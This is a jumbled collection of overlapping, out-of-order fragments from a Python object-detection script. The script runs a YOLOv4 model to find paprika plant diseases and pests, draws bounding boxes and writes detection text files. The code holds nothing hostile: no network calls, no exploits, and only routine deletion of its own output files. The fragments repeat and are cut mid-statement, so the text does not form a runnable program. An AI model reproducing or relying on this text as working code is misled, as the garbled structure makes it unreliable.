"# coords confd = boxes[:,4] # confidence class_ids = boxes[:,5]",
"confd, t, det_classes, class_names, order='xy_minmax', analysis=False) plt.imshow(op) print('='*50) print('Image Name:",
"= str(bounding_box)[1:-1]# remove square brackets bounding_box = bounding_box.replace(\"'\",'')# removing inverted",
"tqdm, trange print(torch.cuda.is_available()) print(torch.cuda.get_device_name()) print(torch.cuda.current_device()) device = torch.device('cuda' if torch.cuda.is_available()",
"None: boxes = pred[0].cpu().detach().numpy() # <xmin><ymin><xmax><ymax><confd><class_id> else: boxes = np.array([10.0,",
"f for f in os.listdir(out)]# if f.endswith(\".png\") ] for f",
"[0,1,2,3,4,5] class_names = [\"blossom_end_rot\", \"graymold\",\"powdery_mildew\",\"spider_mite\", \"spotting_disease\", \"snails_and_slugs\"] # deleting files",
"imgsz, imgsz).to(device).type_as(next(model.parameters()))) # run once #%% for i in trange(len(img_paths)):",
"300 img_paths = glob.glob('/home/user01/data_ssd/Talha/yolo/paprika_y5/test/images/*.png') + \\ glob.glob('/home/user01/data_ssd/Talha/yolo/paprika_y5/test/images/*.jpg') img_path = random.choice(img_paths)",
"img_path = random.choice(img_paths) img1 = cv2.imread(img_path) img1 = cv2.cvtColor(img1, cv2.COLOR_BGR2RGB)",
"is ch x H x W img2 = img2.half() if",
"scale_coords, xyxy2xywh, plot_one_box, strip_optimizer) from utils.torch_utils import select_device, load_classifier, time_synchronized",
"to list # replacing commas with spaces for i in",
"# droping 5th value confd = np.zeros((boxes.shape[0], 1)) class_ids =",
"random.choice(img_paths) img1 = cv2.imread(img_path) img1 = cv2.cvtColor(img1, cv2.COLOR_BGR2RGB) img_h, img_w,",
"half=True): img2 = cv2.resize(img1, (img_size, img_size)) # W x H",
"model imgsz = check_img_size(imgsz, s=model.stride.max()) # check img_size img_paths =",
"for i in range(boxes.shape[0]): coords_xyminmax.append(xyxy_2_xyxyo(img_w, img_h, coords_minmax[i])) det_classes.append(class_names[int(class_ids[i])]) all_bounding_boxnind =",
"square brackets bounding_box = bounding_box.replace(\"'\",'')# removing inverted commas around class",
"'cuda': print(torch.cuda.get_device_name(0)) print('Memory Usage:') print('Allocated:', round(torch.cuda.memory_allocated(0)/1024**3,1), 'GB') print('Cached: ', round(torch.cuda.memory_reserved(0)/1024**3,1),",
"# check img_size img_paths = glob.glob('/home/user01/data_ssd/Talha/yolo/paprika_y5/test/images/*.png') + \\ glob.glob('/home/user01/data_ssd/Talha/yolo/paprika_y5/test/images/*.jpg') #",
"# deleting files in op_dir filelist = [ f for",
"# W x H img2 = img2.transpose(2,0,1) img2 = img2[np.newaxis,",
"glob.glob('/home/user01/data_ssd/Talha/yolo/paprika_y5/test/images/*.png') + \\ glob.glob('/home/user01/data_ssd/Talha/yolo/paprika_y5/test/images/*.jpg') img_path = random.choice(img_paths) img1 = cv2.imread(img_path)",
": file_object.write(\"\\n\") # Append text at the end of file",
"draw_boxes(img1, confd, t, det_classes, class_names, order='xy_minmax', analysis=False) plt.imshow(op) print('='*50) print('Image",
"W img2 = img2.half() if not half else img2.float() img2",
"(img_size, img_size)) # W x H img2 = img2.transpose(2,0,1) img2",
"device = torch.device('cuda' if torch.cuda.is_available() else 'cpu') print('Using device:', device)",
"coords_xyminmax.append(xyxy_2_xyxyo(img_w, img_h, coords_minmax[i])) det_classes.append(class_names[int(class_ids[i])]) all_bounding_boxnind = [] for i in",
"read cursor to the start of file. file_object.seek(0) # If",
"device.type != 'cpu' # half precision only supported on CUDA",
"# check img_size if half: model.half() # to FP16 #",
"if device.type != 'cpu': model(torch.zeros(1, 3, imgsz, imgsz).to(device).type_as(next(model.parameters()))) # run",
"using cuda if device.type == 'cuda': print(torch.cuda.get_device_name(0)) print('Memory Usage:') print('Allocated:',",
"class_ids = boxes[:,5] # class id coords_xyminmax = [] det_classes",
"coords_xyminmax[i][0] bounding_box[3] = coords_xyminmax[i][1] bounding_box[4] = coords_xyminmax[i][2] bounding_box[5] = coords_xyminmax[i][3]",
"# convert strin to list # replacing commas with spaces",
"> 0 : file_object.write(\"\\n\") # Append text at the end",
"class id coords_xyminmax = [] det_classes = [] for i",
"= [] for i in range(boxes.shape[0]): bounding_box = [0.0] *",
"glob, random import matplotlib.pyplot as plt import matplotlib as mpl",
"= np.zeros((boxes.shape[0], 4)) # droping 5th value confd = np.zeros((boxes.shape[0],",
"as sns from models.experimental import attempt_load from utils.datasets import LoadStreams,",
"print('='*50) print('Image Name: ', os.path.basename(img_path),img1.shape) print('\\nClass_name ', '| B_box Coords",
"plt.imshow(op) print('='*50) print('Image Name: ', os.path.basename(img_path),img1.shape) print('\\nClass_name ', '| B_box",
"= device.type != 'cpu' # half precision only supported on",
"= os.path.basename(path)[:-4] # Inference t1 = time_synchronized() pred = model(img2,",
"6 bounding_box[0] = det_classes[i] bounding_box[1] = confd[i] bounding_box[2] = coords_xyminmax[i][0]",
"tqdm import tqdm, trange import seaborn as sns from models.experimental",
"commas with spaces for i in range(len(all_bounding_boxnind)): all_bounding_boxnind[i] = all_bounding_boxnind[i].replace(',','",
"H img2 = img2.transpose(2,0,1) img2 = img2[np.newaxis, ...] img2 =",
"Load model model = attempt_load(weights, map_location=device) # load FP32 model",
"import ( check_img_size, non_max_suppression, apply_classifier, scale_coords, xyxy2xywh, plot_one_box, strip_optimizer) from",
"space inbetween the inverted commas \"\". all_bounding_boxnind.append(bounding_box) all_bounding_boxnind = '",
"import torch.nn.functional as F import glob from tqdm import tqdm,",
"# Load model model = attempt_load(weights, map_location=device) # load FP32",
"F import glob from tqdm import tqdm, trange print(torch.cuda.is_available()) print(torch.cuda.get_device_name())",
"model imgsz = check_img_size(imgsz, s=model.stride.max()) # check img_size if half:",
"[0.0] * 6 bounding_box[0] = det_classes[i] bounding_box[1] = confd[i] bounding_box[2]",
"f)) # Load model model = attempt_load(weights, map_location=device) # load",
"= 'Deleting old files fro directory'): os.remove(os.path.join(out, f)) # Load",
"print(torch.cuda.get_device_name()) print(torch.cuda.current_device()) device = torch.device('cuda' if torch.cuda.is_available() else 'cpu') print('Using",
"in os.listdir(out)]# if f.endswith(\".png\") ] for f in tqdm(filelist, desc",
"glob.glob('/home/user01/data_ssd/Talha/yolo/paprika_y5/test/images/*.jpg') # Run inference if device.type != 'cpu': model(torch.zeros(1, 3,",
"i in range(boxes.shape[0]): bounding_box = [0.0] * 6 bounding_box[0] =",
"utils.torch_utils import select_device, load_classifier, time_synchronized from my_utils import xyxy_2_xyxyo, draw_boxes",
"NMS pred = non_max_suppression(pred, conf_thres, iou_thres, classes=classes, agnostic=True) if pred[0]",
"= boxes[:,0:4] # coords confd = boxes[:,4] # confidence class_ids",
"as F import glob from tqdm import tqdm, trange print(torch.cuda.is_available())",
"img2.transpose(2,0,1) img2 = img2[np.newaxis, ...] img2 = torch.from_numpy(img2).to(device) # torch",
"half precision only supported on CUDA def prepare_input(img1, img_size=416, half=True):",
"else img2.float() img2 /= 255.0 return img2 #%% # Directories",
"in range(boxes.shape[0]): bounding_box = [0.0] * 6 bounding_box[0] = det_classes[i]",
"cv2 from tqdm import tqdm, trange import seaborn as sns",
"LoadImages from utils.general import ( check_img_size, non_max_suppression, apply_classifier, scale_coords, xyxy2xywh,",
"between **here dont give space inbetween the inverted commas \"\".",
"img_paths[i] img1 = cv2.imread(path) img1 = cv2.cvtColor(img1, cv2.COLOR_BGR2RGB) img_h, img_w,",
"conf_thres = 0.4 iou_thres = 0.5 classes = [0,1,2,3,4,5] class_names",
"all_bounding_boxnind))# convert list to string all_bounding_boxnind=list(all_bounding_boxnind.split(' ')) # convert strin",
"os.listdir(out)]# if f.endswith(\".png\") ] for f in tqdm(filelist, desc =",
"string all_bounding_boxnind=list(all_bounding_boxnind.split(' ')) # convert strin to list # replacing",
"5th value confd = np.zeros((boxes.shape[0], 1)) class_ids = np.zeros((boxes.shape[0], 1))",
"img2 = prepare_input(img1, 416, half) # get file name name",
"= img1.shape img2 = prepare_input(img1, 416, half) pred = model(img2,",
"all_bounding_boxnind.append(bounding_box) all_bounding_boxnind = ' '.join(map(str, all_bounding_boxnind))# convert list to string",
"= coords_xyminmax[i][3] bounding_box = str(bounding_box)[1:-1]# remove square brackets bounding_box =",
"\\ glob.glob('/home/user01/data_ssd/Talha/yolo/paprika_y5/test/images/*.jpg') img_path = random.choice(img_paths) img1 = cv2.imread(img_path) img1 =",
"#Additional Info when using cuda if device.type == 'cuda': print(torch.cuda.get_device_name(0))",
"name name = os.path.basename(path)[:-4] # Inference t1 = time_synchronized() pred",
"# Initialize device = select_device('') half = device.type != 'cpu'",
"select_device, load_classifier, time_synchronized from my_utils import xyxy_2_xyxyo, draw_boxes # Initialize",
"'/home/user01/data_ssd/Talha/yolo/ScaledYOLOv4/runs/exp2_yolov4-csp-results/weights/best_yolov4-csp-results.pt' source = '/home/user01/data_ssd/Talha/yolo/paprika_y5/valid/images/' imgsz = 416 conf_thres = 0.4",
"img_h, coords_minmax[i])) det_classes.append(class_names[int(class_ids[i])]) t = np.asarray(coords_xyminmax) op = draw_boxes(img1, confd,",
"torch torch.rand(10) import torch.nn as nn import torch.nn.functional as F",
"= bounding_box.replace(\"'\",'')# removing inverted commas around class name bounding_box =",
"inbetween the inverted commas \"\". all_bounding_boxnind.append(bounding_box) all_bounding_boxnind = ' '.join(map(str,",
"for i in range(boxes.shape[0]): coords_xyminmax.append(xyxy_2_xyxyo(img_w, img_h, coords_minmax[i])) det_classes.append(class_names[int(class_ids[i])]) t =",
"255.0 return img2 #%% # Directories out = '/home/user01/data_ssd/Talha/yolo/op/' weights",
"= check_img_size(imgsz, s=model.stride.max()) # check img_size img_paths = glob.glob('/home/user01/data_ssd/Talha/yolo/paprika_y5/test/images/*.png') +",
"+'{}.txt'.format(name), \"a+\") as file_object: # Move read cursor to the",
"416 conf_thres = 0.4 iou_thres = 0.5 classes = [0,1,2,3,4,5]",
"imgsz = 416 conf_thres = 0.4 iou_thres = 0.5 classes",
"give space inbetween the inverted commas \"\". all_bounding_boxnind.append(bounding_box) all_bounding_boxnind =",
"= '/home/user01/data_ssd/Talha/yolo/ScaledYOLOv4/runs/exp2_yolov4-csp-results/weights/best_yolov4-csp-results.pt' source = '/home/user01/data_ssd/Talha/yolo/paprika_y5/valid/images/' imgsz = 416 conf_thres =",
"classes=classes, agnostic=True) boxes = pred[0].cpu().detach().numpy() # <xmin><ymin><xmax><ymax><confd><class_id> coords_minmax = np.zeros((boxes.shape[0],",
"source = '/home/user01/data_ssd/Talha/yolo/paprika_y5/valid/images/' imgsz = 416 conf_thres = 0.4 iou_thres",
"print('\\nClass_name ', '| B_box Coords ', '| Confidence') print('_'*50) for",
"import select_device, load_classifier, time_synchronized from my_utils import xyxy_2_xyxyo, draw_boxes #",
"of file. file_object.seek(0) # If file is not empty then",
"bounding_box[3] = coords_xyminmax[i][1] bounding_box[4] = coords_xyminmax[i][2] bounding_box[5] = coords_xyminmax[i][3] bounding_box",
"!= 'cpu': model(torch.zeros(1, 3, imgsz, imgsz).to(device).type_as(next(model.parameters()))) # run once #%%",
"== 'cuda': print(torch.cuda.get_device_name(0)) print('Memory Usage:') print('Allocated:', round(torch.cuda.memory_allocated(0)/1024**3,1), 'GB') print('Cached: ',",
"once #%% for i in trange(len(img_paths)): path = img_paths[i] img1",
"416, half) # get file name name = os.path.basename(path)[:-4] #",
"= prepare_input(img1, 416, half) pred = model(img2, augment=False)[0] # Apply",
"= torch.device('cuda' if torch.cuda.is_available() else 'cpu') print('Using device:', device) print()",
"\"snails_and_slugs\"] # deleting files in op_dir filelist = [ f",
"op_dir filelist = [ f for f in os.listdir(out)]# if",
"boxes[:,5] # class id coords_xyminmax = [] det_classes = []",
"augment=False)[0] # Apply NMS pred = non_max_suppression(pred, conf_thres, iou_thres, classes=classes,",
"cudnn import numpy as np import os, cv2 from tqdm",
"] for f in tqdm(filelist, desc = 'Deleting old files",
"'| B_box Coords ', '| Confidence') print('_'*50) for k in",
"'GB') print('Cached: ', round(torch.cuda.memory_reserved(0)/1024**3,1), 'GB') import torch.backends.cudnn as cudnn import",
"* 6 bounding_box[0] = det_classes[i] bounding_box[1] = confd[i] bounding_box[2] =",
"[] det_classes = [] for i in range(boxes.shape[0]): coords_xyminmax.append(xyxy_2_xyxyo(img_w, img_h,",
"end of file file_object.write(all_bounding_boxnind[i]) #%% import glob, random import matplotlib.pyplot",
"'2' import torch torch.rand(10) import torch.nn as nn import torch.nn.functional",
"if len(data) > 0 : file_object.write(\"\\n\") # Append text at",
"= coords_xyminmax[i][0] bounding_box[3] = coords_xyminmax[i][1] bounding_box[4] = coords_xyminmax[i][2] bounding_box[5] =",
"\"\". all_bounding_boxnind.append(bounding_box) all_bounding_boxnind = ' '.join(map(str, all_bounding_boxnind))# convert list to",
"if file exiscts else make new with open(out +'{}.txt'.format(name), \"a+\")",
"img2[np.newaxis, ...] img2 = torch.from_numpy(img2).to(device) # torch image is ch",
"x H img2 = img2.transpose(2,0,1) img2 = img2[np.newaxis, ...] img2",
"f in tqdm(filelist, desc = 'Deleting old files fro directory'):",
"# assign coords_minmax = boxes[:,0:4] # coords confd = boxes[:,4]",
"NMS pred = non_max_suppression(pred, conf_thres, iou_thres, classes=classes, agnostic=True) boxes =",
"i in range(len(all_bounding_boxnind)): all_bounding_boxnind[i] = all_bounding_boxnind[i].replace(',',' ') for i in",
"pred = model(img2, augment=False)[0] # Apply NMS pred = non_max_suppression(pred,",
"prepare_input(img1, 416, half) # get file name name = os.path.basename(path)[:-4]",
"'/home/user01/data_ssd/Talha/yolo/paprika_y5/valid/images/' imgsz = 416 conf_thres = 0.4 iou_thres = 0.5",
"is not None: boxes = pred[0].cpu().detach().numpy() # <xmin><ymin><xmax><ymax><confd><class_id> else: boxes",
"bounding_box[5] = coords_xyminmax[i][3] bounding_box = str(bounding_box)[1:-1]# remove square brackets bounding_box",
"boxes = pred[0].cpu().detach().numpy() # <xmin><ymin><xmax><ymax><confd><class_id> else: boxes = np.array([10.0, 20.0,",
"apply_classifier, scale_coords, xyxy2xywh, plot_one_box, strip_optimizer) from utils.torch_utils import select_device, load_classifier,",
"= det_classes[i] bounding_box[1] = confd[i] bounding_box[2] = coords_xyminmax[i][0] bounding_box[3] =",
"order='xy_minmax', analysis=False) plt.imshow(op) print('='*50) print('Image Name: ', os.path.basename(img_path),img1.shape) print('\\nClass_name ',",
"import LoadStreams, LoadImages from utils.general import ( check_img_size, non_max_suppression, apply_classifier,",
"= boxes[:,5] # class id coords_xyminmax = [] det_classes =",
"print('Cached: ', round(torch.cuda.memory_reserved(0)/1024**3,1), 'GB') import torch.backends.cudnn as cudnn import numpy",
"return img2 #%% # Directories out = '/home/user01/data_ssd/Talha/yolo/op/' weights =",
"bounding_box = \"\".join(bounding_box.split())# remove spaces in between **here dont give",
"1)) # assign coords_minmax = boxes[:,0:4] # coords confd =",
"print('Memory Usage:') print('Allocated:', round(torch.cuda.memory_allocated(0)/1024**3,1), 'GB') print('Cached: ', round(torch.cuda.memory_reserved(0)/1024**3,1), 'GB') import",
"'GB') import torch.backends.cudnn as cudnn import numpy as np import",
"= random.choice(img_paths) img1 = cv2.imread(img_path) img1 = cv2.cvtColor(img1, cv2.COLOR_BGR2RGB) img_h,",
"utils.datasets import LoadStreams, LoadImages from utils.general import ( check_img_size, non_max_suppression,",
"[] for i in range(boxes.shape[0]): coords_xyminmax.append(xyxy_2_xyxyo(img_w, img_h, coords_minmax[i])) det_classes.append(class_names[int(class_ids[i])]) t",
"_ = img1.shape img2 = prepare_input(img1, 416, half) pred =",
"from tqdm import tqdm, trange print(torch.cuda.is_available()) print(torch.cuda.get_device_name()) print(torch.cuda.current_device()) device =",
"boxes = np.array([10.0, 20.0, 30.0, 50.0, 0.75, 0]).reshape(1,6) # dummy",
"coords_xyminmax[i][1] bounding_box[4] = coords_xyminmax[i][2] bounding_box[5] = coords_xyminmax[i][3] bounding_box = str(bounding_box)[1:-1]#",
"coords confd = boxes[:,4] # confidence class_ids = boxes[:,5] #",
"if half: model.half() # to FP16 # Load model model",
"matplotlib as mpl mpl.rcParams['figure.dpi'] = 300 img_paths = glob.glob('/home/user01/data_ssd/Talha/yolo/paprika_y5/test/images/*.png') +",
"cv2.imread(img_path) img1 = cv2.cvtColor(img1, cv2.COLOR_BGR2RGB) img_h, img_w, _ = img1.shape",
"iou_thres = 0.5 classes = [0,1,2,3,4,5] class_names = [\"blossom_end_rot\", \"graymold\",\"powdery_mildew\",\"spider_mite\",",
"id coords_xyminmax = [] det_classes = [] for i in",
"3, imgsz, imgsz).to(device).type_as(next(model.parameters()))) # run once #%% for i in",
"coords_xyminmax.append(xyxy_2_xyxyo(img_w, img_h, coords_minmax[i])) det_classes.append(class_names[int(class_ids[i])]) t = np.asarray(coords_xyminmax) op = draw_boxes(img1,",
"torch.nn.functional as F import glob from tqdm import tqdm, trange",
"coords_minmax = np.zeros((boxes.shape[0], 4)) # droping 5th value confd =",
"= [] for i in range(boxes.shape[0]): coords_xyminmax.append(xyxy_2_xyxyo(img_w, img_h, coords_minmax[i])) det_classes.append(class_names[int(class_ids[i])])",
"out = '/home/user01/data_ssd/Talha/yolo/op/' weights = '/home/user01/data_ssd/Talha/yolo/ScaledYOLOv4/runs/exp2_yolov4-csp-results/weights/best_yolov4-csp-results.pt' source = '/home/user01/data_ssd/Talha/yolo/paprika_y5/valid/images/' imgsz",
"= pred[0].cpu().detach().numpy() # <xmin><ymin><xmax><ymax><confd><class_id> coords_minmax = np.zeros((boxes.shape[0], 4)) # droping",
"dont give space inbetween the inverted commas \"\". all_bounding_boxnind.append(bounding_box) all_bounding_boxnind",
"nn import torch.nn.functional as F import glob from tqdm import",
"half else img2.float() img2 /= 255.0 return img2 #%% #",
"= 416 conf_thres = 0.4 iou_thres = 0.5 classes =",
"bounding_box = str(bounding_box)[1:-1]# remove square brackets bounding_box = bounding_box.replace(\"'\",'')# removing",
"as np import os, cv2 from tqdm import tqdm, trange",
"If file is not empty then append '\\n' data =",
"os os.environ['CUDA_VISIBLE_DEVICES'] = '2' import torch torch.rand(10) import torch.nn as",
"= ' '.join(map(str, all_bounding_boxnind))# convert list to string all_bounding_boxnind=list(all_bounding_boxnind.split(' '))",
"= 0.4 iou_thres = 0.5 classes = [0,1,2,3,4,5] class_names =",
"coords_minmax = boxes[:,0:4] # coords confd = boxes[:,4] # confidence",
"values coords_minmax = np.zeros((boxes.shape[0], 4)) # droping 5th value confd",
"the start of file. file_object.seek(0) # If file is not",
"inverted commas \"\". all_bounding_boxnind.append(bounding_box) all_bounding_boxnind = ' '.join(map(str, all_bounding_boxnind))# convert",
"np import os, cv2 from tqdm import tqdm, trange import",
"draw_boxes # Initialize device = select_device('') half = device.type !=",
"'.join(map(str, all_bounding_boxnind))# convert list to string all_bounding_boxnind=list(all_bounding_boxnind.split(' ')) # convert",
"trange print(torch.cuda.is_available()) print(torch.cuda.get_device_name()) print(torch.cuda.current_device()) device = torch.device('cuda' if torch.cuda.is_available() else",
"analysis=False) plt.imshow(op) print('='*50) print('Image Name: ', os.path.basename(img_path),img1.shape) print('\\nClass_name ', '|",
"import glob from tqdm import tqdm, trange print(torch.cuda.is_available()) print(torch.cuda.get_device_name()) print(torch.cuda.current_device())",
"on CUDA def prepare_input(img1, img_size=416, half=True): img2 = cv2.resize(img1, (img_size,",
"get file name name = os.path.basename(path)[:-4] # Inference t1 =",
"device) print() #Additional Info when using cuda if device.type ==",
"replacing commas with spaces for i in range(len(all_bounding_boxnind)): all_bounding_boxnind[i] =",
"class_names, order='xy_minmax', analysis=False) plt.imshow(op) print('='*50) print('Image Name: ', os.path.basename(img_path),img1.shape) print('\\nClass_name",
"np.zeros((boxes.shape[0], 4)) # droping 5th value confd = np.zeros((boxes.shape[0], 1))",
"#%% for i in trange(len(img_paths)): path = img_paths[i] img1 =",
"mpl mpl.rcParams['figure.dpi'] = 300 img_paths = glob.glob('/home/user01/data_ssd/Talha/yolo/paprika_y5/test/images/*.png') + \\ glob.glob('/home/user01/data_ssd/Talha/yolo/paprika_y5/test/images/*.jpg')",
"utils.general import ( check_img_size, non_max_suppression, apply_classifier, scale_coords, xyxy2xywh, plot_one_box, strip_optimizer)",
"files in op_dir filelist = [ f for f in",
"import seaborn as sns from models.experimental import attempt_load from utils.datasets",
"if f.endswith(\".png\") ] for f in tqdm(filelist, desc = 'Deleting",
"load_classifier, time_synchronized from my_utils import xyxy_2_xyxyo, draw_boxes # Initialize device",
"droping 5th value confd = np.zeros((boxes.shape[0], 1)) class_ids = np.zeros((boxes.shape[0],",
"prepare_input(img1, img_size=416, half=True): img2 = cv2.resize(img1, (img_size, img_size)) # W",
"torch.backends.cudnn as cudnn import numpy as np import os, cv2",
"det_classes.append(class_names[int(class_ids[i])]) t = np.asarray(coords_xyminmax) op = draw_boxes(img1, confd, t, det_classes,",
"cursor to the start of file. file_object.seek(0) # If file",
"empty then append '\\n' data = file_object.read(100) if len(data) >",
"as cudnn import numpy as np import os, cv2 from",
"= 0.5 classes = [0,1,2,3,4,5] class_names = [\"blossom_end_rot\", \"graymold\",\"powdery_mildew\",\"spider_mite\", \"spotting_disease\",",
"= np.array([10.0, 20.0, 30.0, 50.0, 0.75, 0]).reshape(1,6) # dummy values",
"i in trange(len(img_paths)): path = img_paths[i] img1 = cv2.imread(path) img1",
"t, det_classes, class_names, order='xy_minmax', analysis=False) plt.imshow(op) print('='*50) print('Image Name: ',",
"# torch image is ch x H x W img2",
"weights = '/home/user01/data_ssd/Talha/yolo/ScaledYOLOv4/runs/exp2_yolov4-csp-results/weights/best_yolov4-csp-results.pt' source = '/home/user01/data_ssd/Talha/yolo/paprika_y5/valid/images/' imgsz = 416 conf_thres",
"bounding_box = [0.0] * 6 bounding_box[0] = det_classes[i] bounding_box[1] =",
"confd[i] bounding_box[2] = coords_xyminmax[i][0] bounding_box[3] = coords_xyminmax[i][1] bounding_box[4] = coords_xyminmax[i][2]",
"pred = non_max_suppression(pred, conf_thres, iou_thres, classes=classes, agnostic=True) boxes = pred[0].cpu().detach().numpy()",
"= [0,1,2,3,4,5] class_names = [\"blossom_end_rot\", \"graymold\",\"powdery_mildew\",\"spider_mite\", \"spotting_disease\", \"snails_and_slugs\"] # deleting",
"print(torch.cuda.current_device()) device = torch.device('cuda' if torch.cuda.is_available() else 'cpu') print('Using device:',",
"path = img_paths[i] img1 = cv2.imread(path) img1 = cv2.cvtColor(img1, cv2.COLOR_BGR2RGB)",
"str(bounding_box)[1:-1]# remove square brackets bounding_box = bounding_box.replace(\"'\",'')# removing inverted commas",
"img2 = img2.half() if not half else img2.float() img2 /=",
"only supported on CUDA def prepare_input(img1, img_size=416, half=True): img2 =",
"= glob.glob('/home/user01/data_ssd/Talha/yolo/paprika_y5/test/images/*.png') + \\ glob.glob('/home/user01/data_ssd/Talha/yolo/paprika_y5/test/images/*.jpg') # Run inference if device.type",
"list # replacing commas with spaces for i in range(len(all_bounding_boxnind)):",
"# replacing commas with spaces for i in range(len(all_bounding_boxnind)): all_bounding_boxnind[i]",
"half: model.half() # to FP16 # Load model model =",
"img_size if half: model.half() # to FP16 # Load model",
"= [ f for f in os.listdir(out)]# if f.endswith(\".png\") ]",
"my_utils import xyxy_2_xyxyo, draw_boxes # Initialize device = select_device('') half",
"Inference t1 = time_synchronized() pred = model(img2, augment=False)[0] # Apply",
"class_ids = np.zeros((boxes.shape[0], 1)) # assign coords_minmax = boxes[:,0:4] #",
"t1 = time_synchronized() pred = model(img2, augment=False)[0] # Apply NMS",
"models.experimental import attempt_load from utils.datasets import LoadStreams, LoadImages from utils.general",
"# get file name name = os.path.basename(path)[:-4] # Inference t1",
"# to FP16 # Load model model = attempt_load(weights, map_location=device)",
"of file file_object.write(all_bounding_boxnind[i]) #%% import glob, random import matplotlib.pyplot as",
"pred[0].cpu().detach().numpy() # <xmin><ymin><xmax><ymax><confd><class_id> coords_minmax = np.zeros((boxes.shape[0], 4)) # droping 5th",
"plot_one_box, strip_optimizer) from utils.torch_utils import select_device, load_classifier, time_synchronized from my_utils",
"coords_minmax[i])) det_classes.append(class_names[int(class_ids[i])]) all_bounding_boxnind = [] for i in range(boxes.shape[0]): bounding_box",
"in between **here dont give space inbetween the inverted commas",
"deleting files in op_dir filelist = [ f for f",
"files fro directory'): os.remove(os.path.join(out, f)) # Load model model =",
"model.half() # to FP16 # Load model model = attempt_load(weights,",
"= check_img_size(imgsz, s=model.stride.max()) # check img_size if half: model.half() #",
"np.asarray(coords_xyminmax) op = draw_boxes(img1, confd, t, det_classes, class_names, order='xy_minmax', analysis=False)",
"img_paths = glob.glob('/home/user01/data_ssd/Talha/yolo/paprika_y5/test/images/*.png') + \\ glob.glob('/home/user01/data_ssd/Talha/yolo/paprika_y5/test/images/*.jpg') img_path = random.choice(img_paths) img1",
"around class name bounding_box = \"\".join(bounding_box.split())# remove spaces in between",
"device.type != 'cpu': model(torch.zeros(1, 3, imgsz, imgsz).to(device).type_as(next(model.parameters()))) # run once",
"torch.cuda.is_available() else 'cpu') print('Using device:', device) print() #Additional Info when",
"in tqdm(filelist, desc = 'Deleting old files fro directory'): os.remove(os.path.join(out,",
"= pred[0].cpu().detach().numpy() # <xmin><ymin><xmax><ymax><confd><class_id> else: boxes = np.array([10.0, 20.0, 30.0,",
"= img1.shape img2 = prepare_input(img1, 416, half) # get file",
"class name bounding_box = \"\".join(bounding_box.split())# remove spaces in between **here",
"to the start of file. file_object.seek(0) # If file is",
"( check_img_size, non_max_suppression, apply_classifier, scale_coords, xyxy2xywh, plot_one_box, strip_optimizer) from utils.torch_utils",
"det_classes, class_names, order='xy_minmax', analysis=False) plt.imshow(op) print('='*50) print('Image Name: ', os.path.basename(img_path),img1.shape)",
"', '| Confidence') print('_'*50) for k in range(len(det_classes)): print(det_classes[k], t[k],",
"W x H img2 = img2.transpose(2,0,1) img2 = img2[np.newaxis, ...]",
"cuda if device.type == 'cuda': print(torch.cuda.get_device_name(0)) print('Memory Usage:') print('Allocated:', round(torch.cuda.memory_allocated(0)/1024**3,1),",
"non_max_suppression(pred, conf_thres, iou_thres, classes=classes, agnostic=True) boxes = pred[0].cpu().detach().numpy() # <xmin><ymin><xmax><ymax><confd><class_id>",
"xyxy2xywh, plot_one_box, strip_optimizer) from utils.torch_utils import select_device, load_classifier, time_synchronized from",
"pred[0] is not None: boxes = pred[0].cpu().detach().numpy() # <xmin><ymin><xmax><ymax><confd><class_id> else:",
"= cv2.cvtColor(img1, cv2.COLOR_BGR2RGB) img_h, img_w, _ = img1.shape img2 =",
"from utils.datasets import LoadStreams, LoadImages from utils.general import ( check_img_size,",
"from my_utils import xyxy_2_xyxyo, draw_boxes # Initialize device = select_device('')",
"img2 = torch.from_numpy(img2).to(device) # torch image is ch x H",
"half = device.type != 'cpu' # half precision only supported",
"# Apply NMS pred = non_max_suppression(pred, conf_thres, iou_thres, classes=classes, agnostic=True)",
"open(out +'{}.txt'.format(name), \"a+\") as file_object: # Move read cursor to",
"round(torch.cuda.memory_reserved(0)/1024**3,1), 'GB') import torch.backends.cudnn as cudnn import numpy as np",
"bounding_box[4] = coords_xyminmax[i][2] bounding_box[5] = coords_xyminmax[i][3] bounding_box = str(bounding_box)[1:-1]# remove",
"bounding_box = bounding_box.replace(\"'\",'')# removing inverted commas around class name bounding_box",
"det_classes[i] bounding_box[1] = confd[i] bounding_box[2] = coords_xyminmax[i][0] bounding_box[3] = coords_xyminmax[i][1]",
"imgsz).to(device).type_as(next(model.parameters()))) # run once #%% for i in trange(len(img_paths)): path",
"in op_dir filelist = [ f for f in os.listdir(out)]#",
"glob.glob('/home/user01/data_ssd/Talha/yolo/paprika_y5/test/images/*.jpg') img_path = random.choice(img_paths) img1 = cv2.imread(img_path) img1 = cv2.cvtColor(img1,",
"glob.glob('/home/user01/data_ssd/Talha/yolo/paprika_y5/test/images/*.png') + \\ glob.glob('/home/user01/data_ssd/Talha/yolo/paprika_y5/test/images/*.jpg') # Run inference if device.type !=",
"img2 = prepare_input(img1, 416, half) pred = model(img2, augment=False)[0] #",
"det_classes.append(class_names[int(class_ids[i])]) all_bounding_boxnind = [] for i in range(boxes.shape[0]): bounding_box =",
"<xmin><ymin><xmax><ymax><confd><class_id> else: boxes = np.array([10.0, 20.0, 30.0, 50.0, 0.75, 0]).reshape(1,6)",
"t = np.asarray(coords_xyminmax) op = draw_boxes(img1, confd, t, det_classes, class_names,",
"= img2[np.newaxis, ...] img2 = torch.from_numpy(img2).to(device) # torch image is",
"time_synchronized() pred = model(img2, augment=False)[0] # Apply NMS pred =",
"img1.shape img2 = prepare_input(img1, 416, half) # get file name",
"file. file_object.seek(0) # If file is not empty then append",
"seaborn as sns from models.experimental import attempt_load from utils.datasets import",
"torch.device('cuda' if torch.cuda.is_available() else 'cpu') print('Using device:', device) print() #Additional",
"CUDA def prepare_input(img1, img_size=416, half=True): img2 = cv2.resize(img1, (img_size, img_size))",
"trange import seaborn as sns from models.experimental import attempt_load from",
"glob from tqdm import tqdm, trange print(torch.cuda.is_available()) print(torch.cuda.get_device_name()) print(torch.cuda.current_device()) device",
"0 : file_object.write(\"\\n\") # Append text at the end of",
"convert list to string all_bounding_boxnind=list(all_bounding_boxnind.split(' ')) # convert strin to",
"# Move read cursor to the start of file. file_object.seek(0)",
"Name: ', os.path.basename(img_path),img1.shape) print('\\nClass_name ', '| B_box Coords ', '|",
"/= 255.0 return img2 #%% # Directories out = '/home/user01/data_ssd/Talha/yolo/op/'",
"agnostic=True) boxes = pred[0].cpu().detach().numpy() # <xmin><ymin><xmax><ymax><confd><class_id> coords_minmax = np.zeros((boxes.shape[0], 4))",
"= non_max_suppression(pred, conf_thres, iou_thres, classes=classes, agnostic=True) boxes = pred[0].cpu().detach().numpy() #",
